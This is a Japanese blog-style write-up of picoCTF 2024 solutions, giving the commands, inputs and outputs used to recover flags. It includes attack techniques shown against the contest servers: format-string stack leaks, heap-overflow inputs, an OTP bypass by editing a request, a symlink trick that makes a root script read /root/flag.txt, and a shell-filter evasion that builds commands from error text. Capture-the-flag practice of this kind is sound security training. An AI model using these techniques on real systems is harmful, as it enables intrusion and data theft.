100pt問題とgeneral問題は全部解いた。2725点で1029位。終了日を忘れていたせいで気づいたら終わっていた…
- WebDecode (Web, 50)
- Commitment Issues (General, 50)
- interencdec (crypto, 50)
- Time Machine (general, 50)
- Blame Game (general, 75)
- Collaborative Development(general, 75)
- format string 0 (Binary Exploitation, 50)
- heap 0 (binary, 50)
- Verify (forensics, 50)
- CanYouSee (forensics, 100)
- Unminify (web, 100)
- Secret of the Polyglot (forensics, 100)
- Binary Search (general, 100)
- Custom encryption (crypto, 100)
- packer (reverse, 100)
- IntroToBurp (web, 100)
- heap 1 (binary, 100)
- format string 1 (binary, 100)
- endianness (general, 200)
- dont-you-love-banners (general, 300)
- SansAlpha (general, 400)
- Mob psycho (forensics, 200)
WebDecode (Web, 50)
about.htmlの44行目に気になる記述がある。
<section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfZjZmNmI3OGF9">
notify_true
の値をbase64デコードすれば良い。
picoCTF{web_succ3ssfully_d3c0ded_f6f6b78a}
Commitment Issues (General, 50)
zipファイルが与えられる。解凍したら.git
ディレクトリが入っており、Gitのコミット履歴を見ることでflagを復元できるようだ。
調べたところ、git log -p
を実行することでGitのコミット履歴とその変更点を見ることができるとのこと。
$ git log -p commit 144fdc44b09058d7ea7f224121dfa5babadddbb9 (HEAD -> master) Author: picoCTF <ops@picoctf.com> Date: Tue Mar 12 00:06:25 2024 +0000 remove sensitive info diff --git a/message.txt b/message.txt index 3a71673..d552d1e 100644 --- a/message.txt +++ b/message.txt @@ -1 +1 @@ -picoCTF{s@n1t1z3_be3dd3da} +TOP SECRET commit 7d3aa557ff7ba7d116badaf5307761efb3622249 Author: picoCTF <ops@picoctf.com> Date: Tue Mar 12 00:06:25 2024 +0000 create flag diff --git a/message.txt b/message.txt new file mode 100644 index 0000000..3a71673 --- /dev/null +++ b/message.txt @@ -0,0 +1 @@ +picoCTF{s@n1t1z3_be3dd3da}
これでflagが得られた。
picoCTF{s@n1t1z3_be3dd3da}
interencdec (crypto, 50)
2回base64でデコードしたのち、ROT19をかければよい。Cyberchefを使うと楽。
picoCTF{caesar_d3cr9pt3d_890d2379}
Time Machine (general, 50)
git log
で見れた。
picoCTF{t1m3m@ch1n3_88c35e3b}
Blame Game (general, 75)
問題名からgit blame
を使えばよいことが推測できる。
picoCTF{@sk_th3_1nt3rn_81e716ff}
Collaborative Development(general, 75)
問題文にチーム開発をしているとあるので、関連した機能を使ってみる。
git branch
を実行したところ、計4つのブランチがあることに気づいた。
$ git branch feature/part-1 feature/part-2 feature/part-3 * main
他のブランチとの相違点を確認する。
$ git diff main feature/part-1 feature/part-2 feature/part-3 diff --cc flag.py index 6e17fb3,7ab4e25,c312152..77d6cec --- a/flag.py +++ b/flag.py @@@@ -1,2 -1,3 -1,3 +1,1 @@@@ print("Printing the flag...") - print("picoCTF{t3@mw0rk_", end='') -- - print("m@k3s_th3_dr3@m_", end='') -print("w0rk_798f9981}")
これでflagがわかった。
picoCTF{t3@mw0rk_m@k3s_th3_dr3@m_w0rk_798f9981}
format string 0 (Binary Exploitation, 50)
選択肢のうち、フォーマット文字列として意味をなすものを選べばflagが得られる。 内部的には、
- 1問目は出力サイズが入力文字列の2倍より大きければ(
if (count > 2 * BUFSIZE)
)2問目に移る - 2問目では
%s
を出力する際に以前変数に格納したflagが出力されるバグがある
という以上の原因によりflagが出力されている。
$ nc mimas.picoctf.net 53026 Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger? Here comes the first customer Patrick who wants a giant bite. Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe Enter your recommendation: Gr%114d_Cheese Gr 4202954_Cheese Good job! Patrick is happy! Now can you serve the second customer? Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!) Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak Enter your recommendation: Cla%sic_Che%s%steak ClaCla%sic_Che%s%steakic_Che(null) picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_a1d85b3e}
heap 0 (binary, 50)
与えられたソースコードのcheck_win()
関数より、safe_var
の中身がbico
という文字列以外ならflagが得られるとのこと。
ソースや動作状況から、input_data
がsafe_var
より0x20だけ若い番地に置かれていることがわかるので、0x20 = 32文字以上の文字列を入力すればsafe_var
を書き換え、flagを得ることが可能である。
※ヌル文字を含めて33文字以上、つまり普通に入力して32文字以上の入力が必要
$ nc tethys.picoctf.net 51995 Welcome to heap0! I put my data on the heap so it should be safe from any tampering. Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you. Heap State: +-------------+----------------+ [*] Address -> Heap Data +-------------+----------------+ [*] 0x55a8b341e2b0 -> pico +-------------+----------------+ [*] 0x55a8b341e2d0 -> bico +-------------+----------------+ 1. Print Heap: (print the current state of the heap) 2. Write to buffer: (write to your own personal block of data on the heap) 3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified) 4. Print Flag: (Try to print the flag, good luck) 5. Exit Enter your choice: 2 Data for buffer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 1. Print Heap: (print the current state of the heap) 2. Write to buffer: (write to your own personal block of data on the heap) 3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified) 4. Print Flag: (Try to print the flag, good luck) 5. Exit Enter your choice: 1 Heap State: +-------------+----------------+ [*] Address -> Heap Data +-------------+----------------+ [*] 0x55a8b341e2b0 -> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +-------------+----------------+ [*] 0x55a8b341e2d0 -> +-------------+----------------+ 1. Print Heap: (print the current state of the heap) 2. Write to buffer: (write to your own personal block of data on the heap) 3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified) 4. Print Flag: (Try to print the flag, good luck) 5. Exit Enter your choice: 4 YOU WIN picoCTF{my_first_heap_overflow_749119de}
Verify (forensics, 50)
files
直下の全ファイルをfor文で試す脳筋プレーでflagを得た。
for file_name in $(ls -R files/* -1); do openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -salt -in "/home/ctf-player/drop-in/$file_name" -k picoCTF 2>/dev/null done
おそらく想定解はsha256+grep。
ctf-player@pico-chall$ cat checksum.txt b09c99c555e2b39a7e97849181e8996bc6a62501f0149c32447d8e65e205d6d2 ctf-player@pico-chall$ sha256sum files/* | grep b09c99c555e2b39a7e97849181e8996bc6a62501f0149c32447d8e65e205d6d2 b09c99c555e2b39a7e97849181e8996bc6a62501f0149c32447d8e65e205d6d2 files/451fd69b ctf-player@pico-chall$ ./decrypt.sh files/451fd69b picoCTF{trust_but_verify_451fd69b}
picoCTF{trust_but_verify_451fd69b}
CanYouSee (forensics, 100)
zipファイルを解凍するとukn_reality.jpg
が現れる。binwalk
やfile
では何も出なかったが、strings
を利用するとbase64でエンコードされた文字列が出てくる。これをデコードするとflagが得られた。
$ strings ukn_reality.jpg | head JFIF 7http://ns.adobe.com/xap/1.0/ <?xpacket begin=' ' id='W5M0MpCehiHzreSzNTczkc9d'?> <x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 11.88'> <rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'> <rdf:Description rdf:about='' xmlns:cc='http://creativecommons.org/ns#'> <cc:attributionURL rdf:resource='cGljb0NURntNRTc0RDQ3QV9ISUREM05fZDhjMzgxZmR9Cg=='/> </rdf:Description> $ echo cGljb0NURntNRTc0RDQ3QV9ISUREM05fZDhjMzgxZmR9Cg== | base64 -d picoCTF{ME74D47A_HIDD3N_d8c381fd}
別解:IrfanView
などの画像ビューアで画像のプロパティ→IPTC情報→XMP Tagを見ると、rdf:resource
に先ほどのbase64文字列がある。これをデコードすればよい。
Unminify (web, 100)
与えられたWebページのHTMLソースの中にflagが隠れているので、それを単に探せば良い。
<div class="picoctf{}" style="width:70%"> <p class="picoctf{}">If you're reading this, your browser has succesfully received the flag.</p> <p class="picoCTF{pr3tty_c0d3_dbe259ce}"></p> <p class="picoctf{}">I just deliver flags, I don't know how to read them...</p> </div>
Secret of the Polyglot (forensics, 100)
pdfファイルが与えられるが、file
コマンドによるとpngファイルとのことなので拡張子を変更して画像ビューアで見てみる。するとflagの前半部分(picoCTF{f1u3n7_
)が書いてあった。これと、もとのpdfファイルに書かれていたflagの後半部分をつなぎ合わせることでflagが得られる。
picoCTF{f1u3n7_1n_pn9_&_pdf_2a6a1ea8}
Binary Search (general, 100)
1~1000の中から数字を当てるゲーム。タイトルの通り、2分探索を用いて数字を推測すればよい。
$ ssh -p 56013 ctf-player@atlas.picoctf.net Welcome to the Binary Search Game! I'm thinking of a number between 1 and 1000. Enter your guess: 500 Lower! Try again. Enter your guess: 250 Higher! Try again. Enter your guess: 375 Higher! Try again. Enter your guess: 440 Higher! Try again. Enter your guess: 475 Lower! Try again. Enter your guess: 460 Higher! Try again. Enter your guess: 467 Higher! Try again. Enter your guess: 470 Higher! Try again. Enter your guess: 473 Lower! Try again. Enter your guess: 472 Congratulations! You guessed the correct number: 472 Here's your flag: picoCTF{g00d_gu355_bee04a2a} Connection to atlas.picoctf.net closed.
Custom encryption (crypto, 100)
- dynamic_xor_encrypt
- encrypt
の順番で暗号化されており、前者は
- 平文を逆順に並び替える
- text_keyとのxorをとる
処理で、後者は
- 各文字の文字コードにkeyと311をかけ合わせる
処理である。そのため、復号するには
- 暗号文の各数をkeyと311で割る
- それとtext_keyとのxorをとる
- それを逆順に並び替える
という処理を行えばよい。
なお、keyを求めるにはa = randint(p-10, p), b = randint(g-10, g)
となる素数p, gを特定する必要があるが、
- pについて
p-10 <= a = 90 <= p
より90 <= p <= 100
- pは素数なのでpの候補は97のみ
- gについて
g-10 <= b = 26 <= g
より26 <= g <= 36
- gは素数なのでgの候補は29, 31のどちらか
ということで、p, g = (97, 29), (97, 31)
のどちらかを試せばよい。まあスクリプトのtest
関数にp = 97, g = 31
と書いてあるのだが…
これを踏まえてdecrypt
関数とdynamic_xor_decrypt
関数を追記したスクリプトを以下に示す。
from random import randint import sys def generator(g, x, p): return pow(g, x) % p def encrypt(plaintext, key): cipher = [] for char in plaintext: cipher.append(((ord(char) * key*311))) return cipher def decrypt(cipher, key): plaintext = "" for c in cipher: plaintext += chr(c // key // 311) return plaintext def is_prime(p): v = 0 for i in range(2, p + 1): if p % i == 0: v = v + 1 if v > 1: return False else: return True def dynamic_xor_encrypt(plaintext, text_key): cipher_text = "" key_length = len(text_key) for i, char in enumerate(plaintext[::-1]): key_char = text_key[i % key_length] encrypted_char = chr(ord(char) ^ ord(key_char)) cipher_text += encrypted_char return cipher_text def dynamic_xor_decrypt(cipher, text_key): plain_text = "" key_length = len(text_key) for i, char in enumerate(cipher): key_char = text_key[i % key_length] decrypted_char = chr(ord(char) ^ ord(key_char)) plain_text = decrypted_char + plain_text return plain_text def test(plain_text, text_key): p = 97 g = 31 if not is_prime(p) and not is_prime(g): print("Enter prime numbers") return a = randint(p-10, p) b = randint(g-10, g) print(f"a = {a}") print(f"b = {b}") u = generator(g, a, p) v = generator(g, b, p) key = generator(v, a, p) b_key = generator(u, b, p) shared_key = None if key == b_key: shared_key = key else: print("Invalid key") return semi_cipher = dynamic_xor_encrypt(plain_text, text_key) cipher = encrypt(semi_cipher, shared_key) print(f'cipher is: {cipher}') def get_plaintext(text_key): a = 90 b = 26 p = 97 g = 31 u = generator(g, a, p) v = generator(g, b, p) shared_key = generator(v, a, p) cipher = [61578, 109472, 437888, 6842, 0, 20526, 129998, 526834, 478940, 287364, 0, 567886, 143682, 34210, 465256, 0, 150524, 588412, 6842, 424204, 164208, 184734, 41052, 41052, 116314, 41052, 177892, 348942, 218944, 335258, 177892, 47894, 82104, 116314] semi_cipher = decrypt(cipher, shared_key) plaintext = dynamic_xor_decrypt(semi_cipher, text_key) print(f"plaintext is: {plaintext}") if __name__ == "__main__": #message = sys.argv[1] #test(message, "trudeau") get_plaintext("trudeau")
これを実行することで暗号文を復号でき、flagが手に入る。
$ python3 custom_encryption.py plaintext is: picoCTF{custom_d2cr0pt6d_49fbee5b}
packer (reverse, 100)
バイナリが与えられる。中身を見てみようとobjdump
を使ったが何も表示されない。
$ file out out: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header $ objdump -D out out: file format elf64-x86-64
タイトルよりパッカーが使用されていると考え、strings out
を実行してみたところ、末尾にUPX!
と表示された。そのためUPXを用いてアンパックしてみる。
$ upx -d out Ultimate Packer for eXecutables Copyright (C) 1996 - 2024 UPX 4.2.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 3rd 2024 File size Ratio Format Name -------------------- ------ ----------- ----------- [WARNING] bad b_info at 0x4b710 [WARNING] ... recovery at 0x4b70c 877724 <- 336512 38.34% linux/amd64 out Unpacked 1 file.
これによりobjdump
でデコンパイルできるようになった。この状態でstrings out
したところ、怪しい数列が出てきた。
Enter the password to unlock this file: You entered: %s Password correct, please see flag: 7069636f4354467b5539585f556e5034636b314e365f42316e34526933535f36666639363465667d Access denied
これを16進文字列として解釈すると、flagが得られた。
picoCTF{U9X_UnP4ck1N6_B1n4Ri3S_6ff964ef}
IntroToBurp (web, 100)
用意されたWEBページは、
- 何らかの情報登録フォーム(/)に記入すると、
- 二段階認証の画面(/dashboard)に飛ばされる
という構造になっている。
タイトルからしてburpsuiteを用いるものだと考えたが、その先がわからない。入力欄にSQLiしたりリクエスト内のjwtをデコードしたりしてみたが、何も得られなかった。
結局、最初の情報登録フォームの送信内容をburpsuiteで改変し、送信先を/から/dashboardに変更したところ、flagが得られた。
Welcome, a you sucessfully bypassed the OTP request. Your Flag: picoCTF{#0TP_Bypvss_SuCc3$S_9090d63c}
heap 1 (binary, 100)
heap 0と同様にして解ける。
ソースコードより、今回はsafe_var = pico
であればflagを得ることができるとわかる(check_win()
関数より)。またヒープの状態から、input_data
の0x20バイト先にsafe_var
が格納されていることがわかる。
以上より、input_data
に0x20文字の適当な文字列と、pico
という文字列を与えれば、safe_var
の中身をpico
にできる。これでflagを得られる。
$ nc tethys.picoctf.net 61777 Welcome to heap1! I put my data on the heap so it should be safe from any tampering. Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you. Heap State: +-------------+----------------+ [*] Address -> Heap Data +-------------+----------------+ [*] 0x5641177c72b0 -> pico +-------------+----------------+ [*] 0x5641177c72d0 -> bico +-------------+----------------+ 1. Print Heap: (print the current state of the heap) 2. Write to buffer: (write to your own personal block of data on the heap) 3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified) 4. Print Flag: (Try to print the flag, good luck) 5. Exit Enter your choice: 2 Data for buffer: 0123456789abcdef0123456789abcdefpico 1. Print Heap: (print the current state of the heap) 2. Write to buffer: (write to your own personal block of data on the heap) 3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified) 4. Print Flag: (Try to print the flag, good luck) 5. Exit Enter your choice: 3 Take a look at my variable: safe_var = pico 1. Print Heap: (print the current state of the heap) 2. Write to buffer: (write to your own personal block of data on the heap) 3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified) 4. Print Flag: (Try to print the flag, good luck) 5. Exit Enter your choice: 4 YOU WIN picoCTF{starting_to_get_the_hang_b9064d7c}
format string 1 (binary, 100)
与えられたソースコードに以下のように書かれている。
printf("Give me your order and I'll read it back to you:\n"); fflush(stdout); scanf("%1024s", buf); printf("Here's your order: "); printf(buf); printf("\n"); fflush(stdout);
入力をそのまま出力するだけにも見えるが、printf(buf)
の部分で書式文字列攻撃が使用できてしまう。つまり、buf
に%lx
などのフォーマット文字列を入力することで、スタック内のデータを出力させることが可能である。
$ nc mimas.picoctf.net 51033 Give me your order and I'll read it back to you: %lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx, Here's your order: 402118,0,7f6bb91cba00,0,1c47880,a347834,7ffe52acc940,7f6bb8fbce60,7f6bb91e14d0,1,7ffe52acca10,0,0,7b4654436f636970,355f31346d316e34,3478345f33317937,34365f673431665f,7d363131373732,7,7f6bb91e38d8,2300000007,206e693374307250,a336c797453,9,7f6bb91f4de9,7f6bb8fc5098,7f6bb91e14d0,0,7ffe52acca20,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25, Bye!
出力をコンマで区切り、それぞれの16進数を文字列に変換すると、以下のようになる(CyberChef使用)。 ※個人的なtips: "fork"を使うと1行ずつ処理できる
@! kケコ G・ 」G・ Rャノ@ kク鉸` kケミ Rャハ {FTCocip 5_14m1n4 4x4_31y7 46_g41f_ }611772 kケ8リ # ni3t0rP 」6ヌ勇 kケM・kク・・kケミ Rャハ ,xl%,xl% ,xl%,xl% ,xl%,xl% ,xl%,xl% ,xl%,xl% ,xl%,xl% ,xl%,xl%
中央にある{FTCocip
のあたりを文字列反転させると次のようになる。
picoCTF{ 4n1m41_5 7y13_4x4 _f14g_64 277116}
これでflagが得られた。
picoCTF{4n1m41_57y13_4x4_f14g_64277116}
endianness (general, 200)
与えられた文字列を16進表記に変換し、これをビッグ・リトルエンディアンで表現すればよい。時間制限や回答数の制限はない。
$ nc titan.picoctf.net 63490 Welcome to the Endian CTF! You need to find both the little endian and big endian representations of a word. If you get both correct, you will receive the flag. Word: fzruu Enter the Little Endian representation: 7575727a66 Correct Little Endian representation! Enter the Big Endian representation: 667a727575 Correct Big Endian representation! Congratulations! You found both endian representations correctly! Your Flag is: picoCTF{3ndi4n_sw4p_su33ess_cfe38ef0}
dont-you-love-banners (general, 300)
いくつかのクイズに正答してシェルにログインする。
┌──(kali㉿LAPTOP)-[~] └─$ nc tethys.picoctf.net 65226 ************************************* **************WELCOME**************** ************************************* what is the password? My_Passw@rd_@1234 What is the top cyber security conference in the world? defcon the first hacker ever was known for phreaking(making free phone calls), who was it? john draper player@challenge:~$
/root
直下を見ると、接続時に実行されるスクリプトとflagらしきファイルがあった。
player@challenge:~$ cd /root cd /root player@challenge:/root$ ls -la ls -la total 16 drwxr-xr-x 1 root root 6 Mar 12 00:18 . drwxr-xr-x 1 root root 29 Mar 26 00:45 .. -rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rwx------ 1 root root 46 Mar 12 00:18 flag.txt -rw-r--r-- 1 root root 1317 Feb 7 17:25 script.py player@challenge:/root$ cat script.py cat script.py import os import pty incorrect_ans_reply = "Lol, good try, try again and good luck\n" if __name__ == "__main__": try: with open("/home/player/banner", "r") as f: print(f.read()) except: print("*********************************************") print("***************DEFAULT BANNER****************") print("*Please supply banner in /home/player/banner*") print("*********************************************") try: request = input("what is the password? \n").upper() while request: if request == 'MY_PASSW@RD_@1234': text = input("What is the top cyber security conference in the world?\n").upper() if text == 'DEFCON' or text == 'DEF CON': output = input( "the first hacker ever was known for phreaking(making free phone calls), who was it?\n").upper() if output == 'JOHN DRAPER' or output == 'JOHN THOMAS DRAPER' or output == 'JOHN' or output== 'DRAPER': scmd = 'su - player' pty.spawn(scmd.split(' ')) else: print(incorrect_ans_reply) else: print(incorrect_ans_reply) else: print(incorrect_ans_reply) break except: KeyboardInterrupt
次に、接続時にbanner
というファイルが表示されることを利用し、banner
を/root/flag.txt
のシンボリックリンクとして設定する。これで次回の接続時にflagが表示されるはず。
player@challenge:/root$ cd cd player@challenge:~$ ls ls banner text player@challenge:~$ rm banner rm banner player@challenge:~$ ln -s /root/flag.txt banner ln -s /root/flag.txt banner
一度接続を切り、もう一度接続することでflagが表示される。
player@challenge:~$ ^C ┌──(kali㉿LAPTOP)-[~] └─$ nc tethys.picoctf.net 65226 picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_a0e119d4} what is the password?
SansAlpha (general, 400)
数字といくつかの記号しか使えないシェルでflagを探す問題。
bashのドキュメントを見たところ、\xxx
という形式を使えば文字を8進数で表せることがわかったが、\
すら塞がれていた。
lsの代わりに、?
と*
を使ってどんなファイルが存在するか調べることができる*1とのことなので、やってみる。
SansAlpha$ . ./? bash: ./?: No such file or directory SansAlpha$ . ./?? bash: ./??: No such file or directory SansAlpha$ . ./??? bash: ./???: No such file or directory SansAlpha$ . ./???? bash: ./????: No such file or directory SansAlpha$ . ./????? bash: ./?????: No such file or directory SansAlpha$ . ./?????? bash: .: ./blargh: is a directory
./blargh
というディレクトリがあるとわかった。その中をさらに見ていく。
SansAlpha$ ./*/? bash: ./*/?: No such file or directory SansAlpha$ ./*/?? bash: ./*/??: No such file or directory SansAlpha$ ./*/??? bash: ./*/???: No such file or directory SansAlpha$ ./*/???? bash: ./*/????: No such file or directory SansAlpha$ ./*/????? bash: ./*/?????: No such file or directory SansAlpha$ ./*/?????? bash: ./*/??????: No such file or directory SansAlpha$ ./*/??????? bash: ./*/???????: No such file or directory SansAlpha$ ./*/???????? bash: ./blargh/flag.txt: Permission denied
どうやら./blargh/flag.txt
という怪しげなファイルが存在するようだ。
この中身を見たい、つまりcat
を使いたいが、アルファベットを使用することはできない。そこで、エラーメッセージ等からc,a,tの3文字を抜き出すことでcat
という文字列を錬成する手法をとる。
上記出力のエラーメッセージbash: ./?: No such file or directory
には、ありがたいことにその3文字がすべて含まれているため、これを利用する。具体的には、
. ./?
の実行結果(エラーメッセージ)をリダイレクト2>&1
を利用して変数__
に格納し、${parameter:offset:length}
構文を使って任意の1文字を持ってくる
という処理を行う*2。
例を挙げて説明すると、1については以下のようにして変数に格納でき、
__=$(. ./? 2>&1)
そして2については以下のようにして文字列から任意の文字を取得できる。
SansAlpha$ ${__:0:1} bash: b: command not found SansAlpha$ ${__:1:1} bash: a: command not found SansAlpha$ ${__:2:1} bash: s: command not found SansAlpha$ ${__:3:1} bash: h: command not found SansAlpha$ ${__:16:1} bash: c: command not found SansAlpha$ ${__:1:1} bash: a: command not found SansAlpha$ ${__:32:1} bash: t: command not found
以上より、__=$(. ./? 2>&1);${__:16:1}${__:1:1}${__:32:1} ./*/????????
を入力することでcat ./blargh/flag.txt
を実行することができ、flagを得ることができる。
SansAlpha$ __=$(. ./? 2>&1);${__:16:1}${__:1:1}${__:32:1} ./*/???????? return 0 picoCTF{7h15_mu171v3r53_15_m4dn355_8b3d83ad}
Mob psycho (forensics, 200)
与えられたapkファイルをzipとみなして解凍し、その中からflagを探す。
$ unar mobpsycho.zip $ find . -name flag* ./res/color/flag.txt $ cat res/color/flag.txt 7069636f4354467b6178386d433052553676655f4e5838356c346178386d436c5f37303364643965667d
flag.txt
に書かれている16進数を文字列として解釈すると、flagが得られた。
picoCTF{ax8mC0RU6ve_NX85l4ax8mCl_703dd9ef}